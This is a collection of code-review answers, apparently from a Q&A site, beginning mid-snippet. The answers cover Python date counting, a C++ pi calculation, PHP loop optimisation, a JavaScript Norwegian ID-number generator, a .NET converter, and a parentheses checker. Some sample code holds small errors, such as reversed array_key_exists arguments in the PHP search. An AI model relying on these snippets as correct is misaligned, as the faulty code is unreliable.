  for i in range(year1, year2+1):
      for j in range(1, 13):
          if date(i, j, 1).weekday() == 6:
              num_sundays += 1
  return num_sundays

if __name__ == '__main__':
    print(num_sundays_on_first_of_month(1901,2000))

This code is much more readable and far briefer. It makes effective use of the datetime module and its date objects.  It works by looping through every month between year1 and year2 inclusive and counting if it is a Sunday.

This runs at \$O(n)\$ time where \$n = year2 - year1\$


Calculating pi by adding areas of thin rectangles

I see a number of things that could help you improve your program.

Don't abuse using namespace std

Putting using namespace std at the top of every program is a bad habit that you'd do well to avoid.  Know when to use it and when not to (as when writing include headers).  In this particular case, I happen to think it's perfectly appropriate because it's a single short program that and not a header. Some people seem to think it should never be used under any circumstance, but my view is that it can be used as long as it is done responsibly and with full knowledge of the consequences.

Don't use system("pause")

There are two reasons not to use system("cls") or system("pause").  The first is that it is not portable to other operating systems which you may or may not care about now.  The second is that it's a security hole, which you absolutely must care about.  Specifically, if some program is defined and named cls or pause, your program will execute that program instead of what you intend, and that other program could be anything.  First, isolate these into a seperate functions cls() and pause() and then modify your code to call those functions instead of system.  Then rewrite the contents of those functions to do what you want using C++.  For example:

void pause() {
    getchar();
}

Don't use register

As of C++11, the use of the register keyword is deprecated. In C++17, it will be gone, so it's wise to avoid its use.

Be careful with floating point

Adding a small number to a large number using floating point is risky because in certain cases, as potentially with your for loop within get_Area(). Specifically, with floating point numbers, adding a large number to a small number can lead to loss of precision.  In extreme cases, if a is very large and b is very small, we can have a + b = a which is obviously incorrect for non-zero values of b. (See the oft-cited and still excellent What Every Computer Scientist Should Know About Floating-Point Arithmetic, by David Goldberg for a readable technical discussion for why this is so.)  I should mention that it will not happen with this particular code with these particular values, but it's a potential problem that we programmers should all understand.

Consider using portable scalability

The choice of 8 parts is just fine, but you might consider using std::thread::hardware_concurrency for a portable way to scale on multiprocessor systems.

Don't repeat yourself

Rather than calculating the low and high values for each slice manually, and naming each std::future by hand, have the computer do it instead:

const unsigned slices = thread::hardware_concurrency();
vector<future<long double>> A(slices);
const long double increment = radius / slices;
long double lo = 0;
long double hi = increment;
for (unsigned i=0; i<slices; ++i) {
    A[i] =  async(launch::async, part, lo, hi, max_Area);
    lo += increment;
    hi += increment;
}
return std::accumulate(A.begin(), A.end(), 0.0L,
    [](long double accum, std::future<long double> &f){
        return accum + f.get();
    }) * 4;

Extend the accuracy

Since you're using a simple Riemann sum, on the quarter circle you've chosen the sum will indeed always be greater than the actual value.  However, we can very simply take advantage of the symmetry of the problem and have that error mostly cancel out by summing the entire top half of the circle.  That is, instead of $$\pi = 4\int_0^{r} \sqrt{r^2 - x^2}\delta x$$ we can instead compute $$\pi = 2\int_{-r}^{r} \sqrt{r^2 - x^2}\delta x$$.

Omit return 0

When a C++ program reaches the end of main the compiler will automatically generate code to return 0, so there is no reason to put return 0; explicitly at the end of main.


Are nested foreach loops to compare two multidimensional arrays efficient in PHP?

You call strtolower($term) during each iteration instead of just once. You can preprocess it:

$individual_dumps = array();
foreach (explode(" ", $search) as $term) {
    $individual_dumps[] = strtolower($term);
}

You can also use array_map for this, which may be a little slower, but with a shorter code:

$individual_dumps = array_map('strtolower', explode(" ", $search));

It may be better to change the order of the loops - make the loop going through all the search terms the innermost. In this way you can also call strtolower($variant_name) just once, and not count($individual_dumps) times. (You can also store them in lower case, avoiding this step completely.)

foreach ($nicknames as $nameset) {
    foreach(array_map('strtolower', $nameset) as $variant_name) {
        foreach($individual_dumps as $term) {
            if ($term == $variant_name) {
                echo $nameset;
            }
        }
    }
}

When you have all the elements in lower case, you can use array_intersect, which should cut complexity for each $nameset from O(m * n) to O(n * log n) of the larger array. (You may be even able to improve it to O(n) using this trick). However different, older source mentions other complexity, so YMMV.

foreach ($nicknames as $nameset) {
    if (array_intersect(array_map('strtolower', $nameset), $individual_dumps)) { //true for non-empty array -> some elements are the same
        echo $nameset;
    }
}

Now, previous optimizations only optimized the foreach loops. There is another possibility - you can use something like array_flip and then array_key_exists for each search term, which may be very fast (because array_key_exists is close to O(1)). I say may be because it depends on the cost of preprocessing, which may not be actually faster than searching using the foreach loop.

Therefore, if you search for multiple independent queries (to justify the preprocessing) or especially if you can store $nicknames preprocessed, then this should be a clear winner with complexity very close to O(number of terms). This has a hidden assumption of small number of search terms and large number of nicknames.

Preprocessing:

$nicknames_preprocessed_keys = array();
$nicknames_preprocessed_namesets = array();
foreach ($nicknames as $nameset) {
    $nameset_key = array_push($nicknames_preprocessed_namesets, $nameset) - 1;
    foreach(array_map('strtolower', $nameset) as $variant_name) {
        $nicknames_preprocessed_keys[$variant_name] = $nameset_key;
    }
}

(Notice that two arrays are used: that is because you work with the whole $nameset as a result. Storing this as value for each key would result in large array.)

Search:

$individual_dumps = array_map('strtolower', explode(" ", $search));
foreach ($individual_dumps as $term) {
    if (array_key_exists($nicknames_preprocessed_keys, $term)) {
        echo $nicknames_preprocessed_namesets[$nicknames_preprocessed_keys[$term]];
    }
}


Generating Norwegian social security numbers

Here are some general critique on the code. I'm not that familar with the specifics of javascript so I'll leave that to people who knows this better.

Validate input

When creating the object you should validate the brithday making sure it's correct. This can be done by adding a check_birthday function like e.g.

function check_birthday(day, month, year){

   // Check if month is in [1,12]
   if(month < 1 || month > 12) return false;

   // Check if day is valid given the month (i.e. < 31, 30 (29 if leap year), 31, ...

   // Check that year is valid (get_range assumes [1900,2039])
   if(year < 1900 || year > 2039) return false;

   return true;
}

See this page for how the day-check can be implemented (taking leaps-years into account). Another, option is to take the input of the function to be a birthday string instead.

Functions should do what the name says it does

The addZero function (as it's used) looks useless / does not really do what it says it does. For example for dd you send in a string ddmmyyyy, extract the [0,2] part of the string giving us dd, parse that as an int, add a zero if the number is less than 10 and then return it as a string. This should be equivalent of just extracting the dd part (given that the string is a valid birthday-string) thus the only things this function really does is to extract the [min,max] part of the string and does not add any zeros.

I would do the splitting of birthday into dd, mm and yyyy outside of addZero, i.e. in the initialization.

dd = birthday.slice(0, 2);

If you need an addZero function I would make this more generic (which allows it to be used for other stuff if needed) and make sure it does exactly what the name suggest: it should take in a string/number and output a string of a given size with leading zero(s) added. Here is an example of how one can do this:

function addLeadingZeros(number, length){
   var paddednumber = '' + number;

   // Here we just return number / show error message that length
   // of number is larger than the required length
   if(number.length > length) return paddednumber;

   // Pad number with zeros
   while (paddednumber.length < length) {
     paddednumber = '0' + paddednumber;
   }
   return paddednumber;
}

Other things to consider

As pointed out by Fiksdal, the third control digit i3 gives the sex of the person. If you are interested in separating between males and females when making the allowed numbers then the sex should be part of the class which can be set by changing personnr(number) to personnr(number, sex) adding sex to the individ struct and in make you need to add a check for this if(individ.i3 % 2 == individ.sex) result.push(personnr); (here for simplicity assuming sex is stored as 0 for women and 1 for men).

Right now you store the day, month and year as a string. This might be good for the intended use, but I would also consider making these into integers as this just sounds more natural to me. If you also need them as a string then this can easily be done with a addZero function.


Is it better to create a class instance, or create an instance each time a method is called?

Use an Attribute

The class should be tagged with:

[ValueConversion(typeof(Boolean), typeof(String))]

If it's of the normal, old-school .NET variety (desktop, client profile, WP8). Windows store apps don't appear to have an analogous attribute in their .NET libraries, and thus this recommendation can be ignored when compiling such a program.

Drop Type Checks

If the passed-in value is not of the expected type, you should not do your conversion; you should allow an exception to be thrown, so that you know an invalid binding has taken place (and you can go correct the offending code). This applies to both conversion and back-conversion.

Explicit Back Conversion

Check for an explicit match -- don't default to returning "false" on a non-match with the CALENDAR string. Instead, check that the input string matches with the FISCAL string. Throw an exception if the input string matches neither acceptable string.

Use a Singleton

The documentation for Windows.ApplicationModel.Resources.ResourceLoader implies that the default constructor you're using should result in an object that is identical in function to the one available from the static GetForCurrentView() function. If not, then set up your own singleton pattern to ensure that you have at most one shared copy of the resource object around at any given time.


Balanced smileys check algorithm (part 2)

Some notes:

Variable naming

Can be greatly improved by the use of an IDE like IDEA which supports trivial variable renaming.
Don't use single character variables, index and character (or even char) is much more readable than i and c.
It's not immediately obvious what any of the variables are.

You only have one test case. There should be test cases including and excluding each of the types of content of a message. If you get started with the simplest one you can even use TDD to get to a working but simple design.
Knowing the index of the unbalanced parenthesis would be nice.
Checking the number of parentheses is not enough, you have to whether they match up. For example, your algorithm fails (reports True when it shouldn't) on strings like )(.
The assignment calls for a recursive solution:

  A message has balanced parentheses if it consists of one of the following: […] An open parenthesis '(', followed by a message with balanced parentheses, followed by a close parenthesis ')'.

This means that within each pair of parentheses there must be a valid message, meaning all the rules apply within them.